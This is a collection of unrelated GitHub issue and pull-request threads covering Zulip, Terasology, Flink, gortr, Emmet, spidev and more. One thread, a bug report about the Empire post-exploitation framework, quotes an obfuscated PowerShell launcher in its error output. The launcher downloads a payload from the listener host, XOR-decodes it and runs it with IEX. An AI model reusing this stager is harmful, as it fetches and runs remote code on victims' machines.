zulip-workers:zulip_events                       RUNNING   pid 4820, uptime 0:10:06
root@zulip:/home/zulip/deployments/current/scripts# supervisorctl status all
process-fts-updates                              FATAL     Exited too quickly (process log may have details)
zulip-django                                     RUNNING   pid 4877, uptime 0:10:03
zulip-tornado                                    RUNNING   pid 4866, uptime 0:10:06
zulip-workers:zulip_deliver_scheduled_emails     STARTING
zulip-workers:zulip_deliver_scheduled_messages   STARTING
zulip-workers:zulip_events                       RUNNING   pid 4820, uptime 0:10:10
root@zulip:/home/zulip/deployments/current/scripts# su zulip -c '/home/zulip/deployments/current/scripts/restart-server'
2021-08-15 13:35:06,503 restart-server: Restarting zulip-workers:zulip_deliver_scheduled_emails
zulip-workers:zulip_deliver_scheduled_emails: stopped
zulip-workers:zulip_deliver_scheduled_emails: started
2021-08-15 13:35:14,684 restart-server: Restarting zulip-workers:zulip_deliver_scheduled_messages
zulip-workers:zulip_deliver_scheduled_messages: stopped
zulip-workers:zulip_deliver_scheduled_messages: started
2021-08-15 13:35:16,771 restart-server: Restarting zulip-workers:zulip_events
zulip-workers:zulip_events: stopped
zulip-workers:zulip_events: started
2021-08-15 13:35:18,835 restart-server: Restarting process-fts-updates
process-fts-updates: ERROR (not running)
process-fts-updates: ERROR (spawn error)
2021-08-15 13:35:19,626 restart-server: Restarting Tornado process
zulip-tornado: stopped
zulip-tornado: started
2021-08-15 13:35:21,231 restart-server: Restarting django server
zulip-django: stopped
zulip-django: started
2021-08-15 13:35:25,858 restart-server: Done!
Zulip restarted successfully!
root@zulip:/home/zulip/deployments/current/scripts# supervisorctl status all
process-fts-updates                              BACKOFF   Exited too quickly (process log may have details)
zulip-django                                     RUNNING   pid 19983, uptime 0:00:08
zulip-tornado                                    RUNNING   pid 19964, uptime 0:00:12
zulip-workers:zulip_deliver_scheduled_emails     STARTING
zulip-workers:zulip_deliver_scheduled_messages   STARTING
zulip-workers:zulip_events                       RUNNING   pid 19949, uptime 0:00:15
root@zulip:/home/zulip/deployments/current/scripts#


Tutorial module for basic usages of assets

Like #2153 but for assets :-)
Should start with the basics for simply making blocks out of a .png with an optional brief .block description (being mindful of #1988 - hopefully we can fix that before or with this tutorial)
Next up cover the differences between blocks and items and how to use an icon atlas, including using something from a different module
Overrides and deltas should probably also be covered. How would a new modder create a texture pack that'll override the base textures?
Finally cover (at least in brief) what to go looking for to create a custom asset type, making sure to link to Gestalt-Asset for more (especially technical) details
There was an old page in the wiki with a tutorial on making new stuff, it was removed in the great wiki purge in favor of something dedicated elsewhere: https://github.com/MovingBlocks/TempDoc/blob/master/Tutorial:-How-to-create-new-items.md

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/30611723-tutorial-module-for-basic-usages-of-assets?utm_campaign=plugin&utm_content=tracker%2F5279&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F5279&utm_medium=issues&utm_source=github).

Started at https://github.com/oniatus/Tutorials/wiki. Module is contained in the same repo.
I will add more content the next days :)

Awesome! :-)
Want to make it an official module repo under the Terasology org? I can make Terasology/TutorialAssetSystem, get you admin access, make a job in Jenkins for it, and so on.
You should be able to move stuff there pretty easily, or you could even move + rename the existing repo if you'd like. Just let me know :-)
Also: pinging @rzats since asset stuff might be relevant to his interests.

Moved all code and the wiki to https://github.com/Terasology/TutorialAssetSystem. I am cleaning up the wiki pages right now to get more structure.
Is there a page on the main wiki where tutorials can be linked?

No tutorial index yet. Feel free to just create a new section on the wiki home page for now, we can always move it around :-)

I added a section for tutorial modules in the sidebar and linked to the world generation module too.
Oh and the dice tutorial is up and ready now ;) only the rotation block family will need some more testing/documentation.
Todo:

[ ] Detailed section about overriding
[ ] Same for deltas
[ ] Definition of own asset
[ ] Maybe some polishing and review :)

Finally had a chance to check this out - sweet dice! Reminds me that we have a few Light & Shadow colored dice in its resource module. We should totally make those interactive this way sometime :-)
Also: Dice as catapult ammo ... :D

I was thinking about using this as a base for #2153 and implement a multiplayer version of  Mensch ärgere dich nicht to get started with components and entitySystems+multiplayer. Of course with a tutorial, the same way as the dice one. Maybe this could also cover a short section of world generation to create a small world with a board and some borders.
For example, the dice could fire an event when rolled, which can then be used by the game to move the pieces around. Maybe extended later with a nui tutorial for a highscore or a simple matchmaking :)
Probably after the behavior stuff is polished.

Very cool idea! And more potential ammo for Light & Shadow to boot, since it is meant to be a board game themed world. Maybe in the middle of the map (Parcheesi Square IIRC) the players would have to play a round to advance or get some reward, hehe  :-)


[FLINK-19423][jdbc] Fix ArrayIndexOutOfBoundsException when executing DELETE statement in JDBC upsert sink

What is the purpose of the change
Fix ArrayIndexOutOfBoundsException when executing DELETE statement in JDBC upsert sink
Brief change log

Fix JdbcDynamicOutputFormatBuilder#createDeleteExecutor

Verifying this change

Added a test which can reproduce this problem.

Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (yes / no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes / no)
The serializers: (yes / no / don't know)
The runtime per-record code paths (performance sensitive): (yes / no / don't know)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Yarn/Mesos, ZooKeeper: (yes / no / don't know)
The S3 file system connector: (yes / no / don't know)

Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)

cc @leonardBang

Build is passed in my Azure: https://dev.azure.com/imjark/Flink/_build/results?buildId=276&view=results

Merging...


Not able to match sound mode: 'AURO-3D'

Hi, as mentioned in the title, I'm getting the following error.
Logger: DenonAVR
Source: /usr/local/lib/python3.8/site-packages/denonavr/denonavr.py:1716
Not able to match sound mode: 'AURO-3D', returning raw sound mode
I have an AVR-X4500.
Tanks for the great work!

This error should be solved in the current version of Home Assistant.
There is a bug which prevents you from setting AURO-3D sound mode. Once this PR is merged, that issue should be solved too.

PR is merged


A noise loop with characters

Hi, I would like to share this fun sketch. Demo:
https://editor.p5js.org/jcponce/full/cWHhxwgxl
Thanks

@shiffman

wow! Definitely of the awesomest contributions ever! love it ❤

I could not've done this without Daniel's amazing tutorials and great
community contributions. :) Thanks!
On Mon, 5 Aug 2019 at 09:57, Nico Finkernagel<EMAIL_ADDRESS>wrote:

wow! Definitely of the awesomest contributions ever! love it ❤
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/CodingTrain/website/pull/1601?email_source=notifications&email_token=AI5JSCIMJZP5CSOC3AQRGITQC5UHBA5CNFSM4IJGQXJ2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD3QMH5A#issuecomment-518046708,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AI5JSCPRSTY5KGRIG7PRNYDQC5UHBANCNFSM4IJGQXJQ
.

--
Dr Juan Carlos Ponce Campuzano
School of Mathematics and Physics
The University of Queensland
https://www.jcponce.com/


Set-Cookie headers not proxied back

I can pass headers from the client to the proxied endpoint, but headers are not proxied back.  In particular set-cookie headers are not proxied back making any authentication graphql broke.

Only cookie based authorization patterns will be broken. If your auth depends on mutation return auth token to pass in future request's header, it will still work.
This is a new feature request.


wip: feat(api): stubbing in referral counter

adding counter to referral codes to start issuing them to users

looking good dude

okay, so was thinking of adding the referral creation to the user signup step, but i'm tempted instead to just leave it as an api and then throw it into react native to grab a new one the first time it's needed.
sound okay?

Okay, this is gtg

hell yeah. since we don't have ci setup for this yet, i'll have to manually build the docker-compose stack, push that to docker hub, and update the swarm... can do in a bit


prepare docs for iamv2 ga release

:nut_and_bolt: Description: What code changed, and why?
Preparing the docs for the iam v2 ga release by making sure iam v1 content is appropriately labeled and shifting content to the authorization section. Note: the original scope of this excluded changes to the ldap or saml docs, but both of those referenced the iam v1 authorization page so some adjustments were needed.
:chains: Related Resources
fixes #2273
:athletic_shoe: How to Build and Test the Change
make serve from components/automate-chef-io
:white_check_mark: Checklist

[ ] Tests added/updated?
[x] Docs added/updated?

What do you think about setting up redirects for these pages being changed?


How to sets values to differents CS?

Thanks for this amazing library.
I was wondering how can I set values to differents chip select lines due the fact that I'm not sure which line is set when I'm using the property cshigh.
Thanks in advance.

I've been grappling with low-level SPI recently, trying to figure out how to not assert a chip-select line at all so I can control 4 devices instead of two.
The chip select lines correspond to the SPI device you pick with spi.open(). The first argument being the SPI bus number and the second being either 0 for CS0 ( BCM 8 ) or 1 for CS1 ( BCM 7 ) : http://pinout.xyz/pinout/spi
If you want to use any pin, you can just assert it manually before an xfer, while it's super handy to have the SPI library take care of chip-select for you ( and probably ever so slightly faster ), it's certainly not necessary.

Thanks for the quick response.
So, if I have to instance of the spi library, which mean that I'm using the two ports that my embedded offer, how do I know which port affect the cshigh method?
Thanks a lot.

hi sophiekovalevsky, the following example demonstrate how you can set channel 0 to cshigh=True and channel 1 to cshigh=False. I am not sure this is the only way to achieve this, but it seems to work.
import spidev
spi0 = spidev.SpiDev()
spi0.open(0, 0)
spi0.cshigh = True

spi1 = spidev.SpiDev()
spi1.open(0, 1)
spi1.cshigh = False

You can now use say spi0.xfer for channel 0 and spi1.xfer for channel 1.

Thanks a lot.


Emmet breaks custom html snippet expansion

As may be followed at https://github.com/ThusStyles/meteor-snippets/issues/4#issuecomment-57050554 emmet's snippet expansion with tab on html files breaks other custom snippets' tab expansion.

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

Yep, having the same issue here. I'd like to find a way to disable expanding unknown tags. This is the one niggle I have that's keeping me from jumping off Sublime, which seems to handle this pretty well.

Alternatively...
You can make autocomplete-plus package show snippets by installing [autocomplete-snippets] ("https://atom.io/packages/autocomplete-snippets") package. In this way,

You see snippets suggestions while you type.
You can use emmet with tab.

Wow!
I
♥
Love
markdown!
Cheers!!

Thank's for sharing!

If anyone is still having problems expanding HTML attribute snippets with emmet-atom + autocomplete-plus (Atom 0.199.0), my work around is to overwrite enter in my keymap.cson:
'.platform-darwin atom-pane atom-text-editor:not([mini])':
	'enter': 'autocomplete-plus:confirm'

This allows emmet expansions with tab and built-in expansions with enter.

It's still happening in 0.207.0. I've created 2 snippets to add the wiredep tags: wirecss and wirejs.
When I write wirecss I can see that the snippet is recognized by Atom, as it show the green arrow in the dropdown. But when I press tab I get <wirecss></wirecss> instead.
That's very annoying, to be honest.

The way to "fix" this is to edit the expand-abbreviation-with-tab command to check whether the current symbol left of the cursor is a valid emmet abbreviation, and call abortKeyBinding() if it isn't.  For reference: https://atom.io/docs/v1.0.0/behind-atom-keymaps-in-depth

autocomplete-snippets works great for starting a snippet, but if you have multiple tab stops, advancing will trigger Emmet again

Here's a solution. You may need to either add the text html php grammar to the final keymap if you haven't set up php to extend html context in Emmet

Are there any updates on this? The goal is this:

with emmet installed, tab completes the tag as expected with emmet
if a snippet is used - then this overrides whatever emmet is doing and behaves as expected with snippets

Right? Sublime acts this way. Maybe some smarty-pants can look at their implementation?

I would also appreciate Emmet developers to enable an option in the setting, which would stop epanding non-existing words into pair tags and let the snippets expand by tab instead.

You should try new Emmet 2 alpha instead: https://github.com/emmetio/atom-plugin


⚠ Mobitopup has degraded performance

In 3ea2768, Mobitopup (https://napcard.voz.tech) experienced degraded performance:

HTTP code: 200
Response time: 5993 ms

Resolved: Mobitopup performance has improved in 490e478.


added Base.get

added Base.get to help with retrieving the underlying string

Is there any reason one would need this instead of just String(x)?

Yeah, just calling String(weakrefstring) is pretty terse and clear about what's going on (i.e. converting this thing to a String).


Something is wrong with createlatestlinks

The latest download links are busted and here's what I get when I ssh into prod and try to run createlatestlinks by hand
(calaccess)ccdc@ip-172-31-29-254:/apps/calaccess/repo$ python manage.py createlatestlinks
/apps/calaccess/local/lib/python2.7/site-packages/django/db/models/fields/__init__.py:1430: RuntimeWarning: DateTimeField RawDataVersion.release_datetime received a naive datetime (2016-07-27 00:00:00) while time zone support is active.
  RuntimeWarning)
DEBUG|12/Apr/2017 01:43:09|createlatestlinks|Copying files for 02-16-2017 22:50:55 version to latest/

That Feb. 16, 2017 date does not look good.

Something might be off with this:
>>> v = RawDataVersion.objects.latest('update_finish_datetime')
>>> v
<RawDataVersion: 2017-02-16 22:50:55+00:00>

It looks to me like a null update_finish_datetime has sorted to the top:
>>> RawDataVersion.objects.all()[0].update_finish_datetime
datetime.datetime(2017, 4, 11, 13, 18, 22, 410878, tzinfo=<UTC>)
>>> v = RawDataVersion.objects.latest('update_finish_datetime').update_finish_datetime
>>>


[Python][CI] Pass vcpkg version as a crossbow template variable

Since there was a cache hit a possible error hasn't surfaced in #10635

@github-actions crossbow submit wheel-osx-high-sierra-cp36
Test without a cache hit.

Closing in favor of #10659


Macro Launcher or One-Liner in 1.6 does not create agent

Empire Version
1.6
OS Information (Linux flavor, Python version)
Kali 2.0
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
Expected behavior: Get agent connection in Empire.
Error that meterpreter returns upon running the one liner in meterpreter's session's shell:
Important Note: I have tried the same in 2.0_beta and it had connected. The Listener's HOST is set to MYPRIVATEDNSDOMAIN.tk as 1.6 doesn't accept external (non interface IP address)
Update: I have tried this with Office macro and the same thing. The agent doesn't call back, agent callsb back from 2.0_Beta so I doubt it's server's fault.
Screenshot of error, embedded text output, or Pastebin link to the error
CLIXML
Exception calling "DownloadString" with "1" argument(s): "Unable to connect to x000D__x000Athe remote server"x000D__x000AAt line:1 char:415_x000D__x000A_+ [SYSTem.Net.SErVicePoIntMAnageR]::EXpEct100CONTINuE = 0;$wC=NEW-OBjecT SYStEM_x000D__x000A_.NEt.WEBCLieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) li_x000D__x000A_ke Gecko';$Wc.HeaDErs.AdD('User-Agent',$u);$WC.PrOxY = [SYSTEM.NeT.WEbRequeST]:x000D__x000A:DeFAultWEBPROxY;$Wc.PrOXy.CredENtIalS = [SYSTEm.NET.CReDentiALCaCHE]::DeFaUltN_x000D__x000A_etWorKCReDENtIalS;$K='Q@fz:67qy!d^pK9b#r\o[l,M./n=RW}|';$I=0;[Char[]]$B=([Char[x000D__x000A]]($Wc.DownLoADSTRiNg <<<< ("http://MYPRIVATEDNSDOMAIN.tk/index.asp")))|%{$-BXor$k[$i++%x000D__x000A$K.LeNgTh]};IEX ($B-JoiN'')x000D__x000A    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException_x000D__x000A    + FullyQualifiedErrorId : DotNetMethodException_x000D__x000A_ x000D__x000AInvoke-Expression : Cannot bind argument to parameter 'Command' because it is a_x000D__x000A_n empty string.x000D__x000AAt line:1 char:482_x000D__x000A_+ [SYSTem.Net.SErVicePoIntMAnageR]::EXpEct100CONTINuE = 0;$wC=NEW-OBjecT SYStEM_x000D__x000A_.NEt.WEBCLieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) li_x000D__x000A_ke Gecko';$Wc.HeaDErs.AdD('User-Agent',$u);$WC.PrOxY = [SYSTEM.NeT.WEbRequeST]:x000D__x000A:DeFAultWEBPROxY;$Wc.PrOXy.CredENtIalS = [SYSTEm.NET.CReDentiALCaCHE]::DeFaUltN_x000D__x000A_etWorKCReDENtIalS;$K='Q@fz:67qy!d^pK9b#r\o[l,M./n=RW}|';$I=0;[Char[]]$B=(Char[x000D__x000A])|%{$-BXor$k[$i++%$K.LeN_x000D__x000AgTh]};IEX <<<<  ($B-JoiN'')x000D__x000A    + CategoryInfo          : InvalidData: (:) [Invoke-Expression], ParameterB x000D__x000A   indingValidationException_x000D__x000A_    + FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyStringNotAl x000D__x000A   lowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand_x000D__x000A_ x000D__x000A
PS: http://i.imgur.com/mw5znL7.png
Any additional information

Does anyone have the similar issue?

The empire server can't be reached on the machine where you're executing the launcher.  Either the server  isn't started or it's can't bind on port 80.  From your screenshot, it looks like the launcher is trying to contact myprivatednsdomain.tk and resolve the hostname.


Production Flavor Doesn't Show Users, Development Flavor Does

The Development Flavor Shows These Users.  The Production Flavor Shows No Users.  What am I missing?

Below is the link to clone the code for cloud functions and deploy
https://github.com/Aanu1995/Pure_Dev_Cloud_Function


gortr panics at about 1,000 connections.

gortr panics at about 1,000 connections with the messages below.  Still testing the actual limit and if there are any system resource limits that need to be increased.  Will post when have more info.
Running on a single CPU VM, CentOS 8, no changes to the default max system files or other parameters.
May 15 20:19:08 rpki01-hhc gortr[25828]: panic: runtime error: invalid memory address or nil pointer dereference
May 15 20:19:08 rpki01-hhc gortr[25828]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x30 pc=0x6b794d]
May 15 20:19:08 rpki01-hhc gortr[25828]: goroutine 13 [running]:
May 15 20:19:08 rpki01-hhc gortr[25828]: github.com/cloudflare/gortr/lib.(*Server).loopTCP(0xc0000ec300, 0xa0a9c0, 0xc000010190, 0x958e16, 0x3, 0xc00ba79f60)
May 15 20:19:08 rpki01-hhc gortr[25828]: #011/opt/cloudflare/go/src/github.com/cloudflare/gortr/lib/server.go:586 +0x28d
May 15 20:19:08 rpki01-hhc gortr[25828]: github.com/cloudflare/gortr/lib.(*Server).StartSSH(0xc0000ec300, 0x7ffe0d0e9d61, 0x5, 0xc0000815f0, 0x0, 0x0)
May 15 20:19:08 rpki01-hhc gortr[25828]: #011/opt/cloudflare/go/src/github.com/cloudflare/gortr/lib/server.go:604 +0x108
May 15 20:19:08 rpki01-hhc gortr[25828]: main.main.func5(0xc0000ec300, 0xc0000815f0)
May 15 20:19:08 rpki01-hhc gortr[25828]: #011/opt/cloudflare/go/src/github.com/cloudflare/gortr/cmd/gortr/gortr.go:700 +0x51
May 15 20:19:08 rpki01-hhc gortr[25828]: created by main.main
May 15 20:19:08 rpki01-hhc gortr[25828]: #011/opt/cloudflare/go/src/github.com/cloudflare/gortr/cmd/gortr/gortr.go:699 +0xac9
May 15 20:19:08 rpki01-hhc systemd[1]: gortr.service: Failed with result 'exit-code'.

Thank you for the testing!
What are you using for all the connections? are they stable? TCP only or SSH?

Hi @skakee ! Thanks for the report. Out of curiosity, do you have an actual use-case for more than 1,000 sessions ? We'd love to hear about it.

Ispgn, we are an ISP with ~3K routers deployed globally.  Currently we have 440 routers with 625 ssh connections (some routers run two 2 CPUs and make two connections).  These are stable.
jejenone, yes, we will deploy RPKI on all our ~3K routers.  :)

@skakee thanks for the details! This is great.
Definitely not a known issue, but from the trace, it could be a race condition.
I'll create a benchmark tool and hope it can reproduce.
Does it happen often?
If you can reproduce it, could you do a to tcpdump all the TCP sessions to the GoRTR port?
I will also need the version of GoRTR used and if possible, the version of your router software.

Here's the scenario... 440 devices with 625 connections, to two servers running gortr, that works fine.  We then add rpki config with those two servers to 266 additional routers.  The routers start making connections, eventually they all connect and shorty after, within minutes, gortr process crashes.   We tried increasing open files limit without success.
I could get tcpdump but it would be quite large.
As for the version...  "-version" option does not seem to be helpful.
[root@rpki01-hhc ~]# /opt/cloudflare/go/bin/gortr -version
GoRTR
GoRTR was installed with "go get github.com/cloudflare/gortr/cmd/gortr"

I see, for go get did you run it after Mar 30, 2020?
I will try to reproduce on my side.

Yes, go get is up of now.  Also, to verify that it's not one of the routers in the batch of 266 that is causing an issue (as opposed to the sheer number of devices/connections) I created another server (rpki3) and had those routers connect to that server.  It's been solid for a few hours, so seems it's the number of connections that is causing the issue.
For completness:
[root@rpki01-hhc ~]# sum /opt/cloudflare/go/bin/gortr
63787 13459

Update: I was mistaken, the last go get was run on Feb 17th.  I now did update. Will not be able to run a test until tomorrow.  Thank you for pointing out the version number, I would not have taken another look believing it was up-to-date.

I'll have a look, it's probably still affected.
Just in case, if you want to automatically add the version based off the git repo, use make build-gortr: it will compile GoRTR
https://github.com/cloudflare/gortr/blob/master/Makefile#L44-L46

I managed to reproduce the error on the latest version.
GoRTR would raise this error instead of accepting a new connection accept tcp [::]:8282: accept4: too many open files.
Will make a fix.

I made the fix, it should not crash after ~1000 sessions anymore but will raise an error.
Could you run this updated version? In the root git dir: git pull && git checkout bug/acceptmax && make build-gortr should work (version should be v0.14.4-4-g60070ff).
You will need to change the ulimit -n 5000 (verify with ulimit -a) to allow more files open.
I will merge and make a release soon after.

@Ispgn, thanks!  I will try the new version.  However, if the number of open files was the issue, then me raising the limit to 64K should have addressed it.  Since I still had an issue, my upping the limit must not have take effect.  I upped the limit via limits.d file and restarting the service:
[root@rpki01-hhc ~]# cat /etc/security/limits.d/10-nofile.conf
*       hard    nofile  65536
*       soft    nofile  65536

@skakee - there's a few extra notes on the setting of #openfiles on this page.


Filters-Overview.md refers to a data.md file that does not exist

https://github.com/tangrams/tangram-docs/blob/gh-pages/pages/Filters-Overview.md (line 18). Please advise. Is this link supposed to point to something that has been renamed, to a file that doesn't exist yet, or ...?

Yep, there were a few broken links in that section, fixed with https://github.com/tangrams/tangram-docs/commit/d04cbbf26b0c8c54c66ea10ecd0ef885f5227323 - thanks!


Style: use pure for responsive position of date

An iteration over the work of @mkcor
On large screen, this moves the date up right below the table

Result visible here: https://57-246408325-gh.circle-artifacts.com/0/index.html

Thank you, merging!


Error: Your project has references to older NuGet package references and requires updates.

I've tried to setup two projects. The first one is a very simple project (an Android Studio hello world) and I get the following message on the vsmac

~/.nuget/packages/xamarin.binding.helpers/0.1.0-ci516977228/buildTransitive/Xamarin.Binding.Helpers.Android.targets(3,3): Error: Your project has references to older NuGet package references and requires updates.  Please update the following packages to the versions listed:

But no version is listed
The second one e more complex projeto I'm working on and I get the following message:

~/.nuget/packages/xamarin.binding.helpers/0.1.0-ci516977228/buildTransitive/Xamarin.Binding.Helpers.Android.targets(3,3): Error: No Android Studio project outputs or dependency artifacts were detected.  Review the documentation to ensure you correctly applied the Xamarin Binding Helpers gradle plugin to your Android Studio Project module's build.gradle file.

But the plugin is there.
All tools and libs on the latest version

There is a typo in the Target that causes the output to be empty.
I recommend checking the file obj//xbh/_xbhsuggestandroid.json


Use github permalink for uml diagram

Description

I think this should fix the rendering on the docs site as it uses the github permalink to the raw PNG image instead of a relative file path.

Verification

Not sure how to verify without merging tbh

Resources

Maybe link to main branch instead of permalink so that it will update when PR's are merged in

It worked


Renaming file paths on windows replaces backslashes in path with equivalent uri encoding

Testing #147738

I prefer it to be

as it is cleaner.

This should have already been fixed


Add tests for BERT tf.keras PR

We need to add some tests to #895: tests for classes themselves or a config that uses them.
Or we can decide that we don't need it anymore and just close the PR

PR could be closed in favor of https://github.com/huggingface/transformers/releases/tag/v2.0.0

@nikolay-bushkov will it work with tf-1.14.0?

Probably... It is easier to check than to write some tests for new code.


Fix missing translations and keys

@davidwinter thanks, merged into 2-4-stable branch. I was a bit confused about the master key, it has been a while I worked on this repository.


Missing keycode 160

Windows 10
Firefox 43.0.4
QWERTZ - German Layout
circumflex key

Thanks - to whoever implements this use  ˆ


Add AUTHORS file

I think it would be nice to acknowledge all the contributors and add them to the AUTHORS file, as Django does. Maybe we can automate this with the deploy script, we could also mention people in the release notes, that would be really nice :D
https://github.com/django/django/blob/master/AUTHORS

FYI I removed authors files from my projects recently because after further contributions, they were out of sync. I'm not even sure the Django one is a good idea at this point, there are 1700 GitHub contributors and just 900 in the authors file. Although there may be duplicate GitHub accounts, and simple contributions like a few typo fixes, a lot of contributors have probably missed the file and gone uncredited tehrre.

Uh, that's a good point :)
I'll close this for now, maybe we can add a page on the website in the future (and use GitHub's API to fetch the contributors :) )


Jest runner throws zonejs missing error after updating to Angular v16

We use vscode-jest-runner in our angular project. Since we updated angular to v16, getting this error
   ......
   Formatters › .booleanFormatter

    zone-testing.js is needed for the fakeAsync() test helper but could not be found.
            Please make sure that your environment includes zone.js/testing

      at resetFakeAsyncZone (node_modules/@angular/core/fesm2022/testing.mjs:249:11)
      at Object.<anonymous> (node_modules/@angular/core/fesm2022/testing.mjs:27123:13)

Test Suites: 1 failed, 1 total
Tests:       1 failed, 21 skipped, 22 total
Snapshots:   0 total
Time:        3.578 s

As a fix, below 2 zonejs related import statements are added to the root jest setup config, and since this issue was resolved
import 'zone.js';
import 'zone.js/testing';

However i was wondering is there a way we can fix this issue without having to change the setup config, within the jest-runner extension itself?

Hi, I think the scope of this extension is to make jest run by invoking the jest command.
It feels like having behaviour in the extension where the config automatically imports zone.js from the local package would be out of scope.
I think configs per frameworks like angular can be in separate repos like this one: https://github.com/thymikee/jest-preset-angular


Input toolbar height does not update after setting text

I'm trying to set an initial value for the textview in the input toolbar in viewDidLoad but its height doesn't update correctly:
self.inputToolbar.contentView.textView.text = lastMessage;
Any idea how to fix this?
I have tried #955 but its not working

Hi @ImperoIT. I am able to make it work by adding this line self.inputToolbar.contentView.textView.text = @"it's a really long text that it's height enough to have multiple lines. hahaha"; in viewDidLoad. Can you tell us what kind of situations that are not working for your case?


New package: LazapDevelopment.Lazap version 0.6.5

[ ] Have you signed the Contributor License Agreement?
[ ] Have you checked that there aren't other open pull requests for the same manifest update/change?
[ ] This PR only modifies one (1) manifest
[ ] Have you validated your manifest locally with winget validate --manifest <path>?
[ ] Have you tested your manifest locally with winget install --manifest <path>?
[ ] Does your manifest conform to the 1.4 schema?

Note: <path> is the name of the directory containing the manifest you're submitting.

Microsoft Reviewers: codeflow:open?pullrequest=https://github.com/microsoft/winget-pkgs/pull/112013&drop=dogfoodAlpha

@microsoft-github-policy-service agree [company="{Lazap Deveopment}"]

@microsoft-github-policy-service agree company="Lazap Development"

@microsoft-github-policy-service agree


The help link on NuGet settings window is incorrect

@anangaur commented on Mon Apr 03 2017

The help link seems to be incorrect
The drop-down overlaps the label in high DPI (regression?)

@karann-msft commented on Mon Apr 03 2017
to Rob for triage.

@kraigb commented on Mon Apr 03 2017
The ? is likely a docs issue, because VS generates a query using certain F1 keywords that we don't currently have in the metadata of the NuGet docs pages. @karann-msft please the Docs label to this issue.

@karann-msft commented on Mon Apr 03 2017
I reactivated the high dpi bug we had before....feels like a regression....https://github.com/NuGet/Home/issues/4439
Let's use this issue just for the help link

The help issue was corrected a long time ago, but I hadn't seen the #4960 bug to resolve it. In any case, pressing ? when the NuGet Package Manager, General, and Package Sources tab all go to  https://docs.microsoft.com/en-us/nuget/tools/package-manager-ui as expected. This is controlled by the f1_keywords: in the topic metadata:
f1_keywords:

"vs.toolsoptionspages.nuget_package_manager"
"vs.toolsoptionspages.nuget_package_manager.general"
"vs.toolsoptionspages.nuget_package_manager.package_sources"


feat: Extract BWIP into separate crate

What ❔
Extract zksync_core::basic_witness_input_producer to separate crate in the node folder
Why ❔
Part of the "modularize the codebase" process, required for legolizer and publishing on crates.io.
Checklist

[ ] PR title corresponds to the body of PR (we generate changelog entries from PRs).
[ ] Tests for the changes have been added / updated.
[ ] Documentation comments have been added / updated.
[ ] Code has been formatted via zk fmt and zk lint.
[ ] Spellcheck has been run via zk spellcheck.
[ ] Linkcheck has been run via zk linkcheck.

@AnastasiiaVashchuk I thought that BWIP is basically broken at this point and is not run as a component on any environment. If this is the case, does it make sense to move it to the node framework? Maybe, just remove it from the codebase? 🙃

@AnastasiiaVashchuk I thought that BWIP is basically broken at this point and is not run as a component on any environment. If this is the case, does it make sense to move it to the node framework? Maybe, just remove it from the codebase? 🙃

thanks for paging.
won't add it to framework..i think after vm runner integration we will remove it


Edit layout column details

What feature or improvement do you think would benefit Files?
In music files for example, you want to see information such as bitrate, duration, etc. in the columns.
In video files, other information
It might be possible to choose the columns from any field of the file properties.

Requirements

This proposal will accomplish X
This proposal will accomplish Y
This proposal will accomplish Z

Files Version
<IP_ADDRESS>
Windows Version
Edição	Windows 11 Pro Versão	21H2 Instalado em	29/05/2022 Compilação do SO	22000.1880 Experiência	Pacote de Experiência de Recursos do Windows 11 1000.22001.1000.0
Comments
No response

Thanks for the feedback
Merging with https://github.com/files-community/Files/issues/8366


Add rows client side

Hello,
How can i add a new row to the grid through jQuery / javascript ?
I am trying to start with an empty grid, populate it with the input of some form controls and then submit the data to the action of the relevant controller.

Any of the stack overflow answers should be enough.


React.createClass is deprecated warning

I am getting this warning with React 15.5.4
Warning: F7AccordionContent: React.createClass is deprecated and will be removed in version 16. Use plain JavaScript classes instead. If you're not yet ready to migrate, create-react-class is available on npm as a drop-in replacement.

Thanks for the issue report. This issue will hopefully be an easy fix, and should be fixed in the next version.

Thanks @bencompton there is also another warning about deprecated PropTypes, these were deprecated recently, will file that as a separate issue.

Should be fixed now in v0.9.1.


Throttling Uploads/Downloads to Azure Storage

I'm saturating my uplink while running Add-AzureVHD and it can cause considerable issues for the rest of our users.  It would be wonderful to be able to have a MaxRate parameter implemented for these types of operations.

We have put the feature request into the backlog. Closing out of the old repo.


should be possible to define guard function that takes parameters as with actions.

Feels like it should be possible to have paramtric guard functions as guards. Just as with the Dynamic transitions and Actions? Let the guard functions be Func<P1,...,PN,Boolean> ? And the parameter types determined by the TriggerWithParamaters...

Have the same question, the guard function without taking in any parameters seems useless to me.
How could we pass in the required "Context" for it to determine whether the transition is allowed?

Since I had the same requirement, I created a fork which introduces a single context parameter for the guardFunctions as well as the stateAccessor and stateMutator.
Check it out if you like: @CarstenEnglert/stateless4j abfa44f
As you can see, there are quite a few changes involved and I dropped the support of an initialState, as it doesn't make sense in a re-usable/contextual StateMachine/Configuration. Besides that, most of the API needed to be changed in order to allow the context parameter to be available.
Fyi:

With those changes, the issues #19 and #37 are fully covered (for me) as well.
I also reduced the publicFire log level from INFO to DEBUG (as mentioned in issue 40).
Due to the breaking/incompatible changes, the mentioned fork produces the version 3.0 instead of 2.5.

Hi everyone. I have the same need as @gurgl - to be able to evaluate trigger parameters within the guard function. Saw similar requests for the .NET stateless implementation: https://github.com/dotnet-state-machine/stateless/issues/43 and https://github.com/dotnet-state-machine/stateless/issues/155.
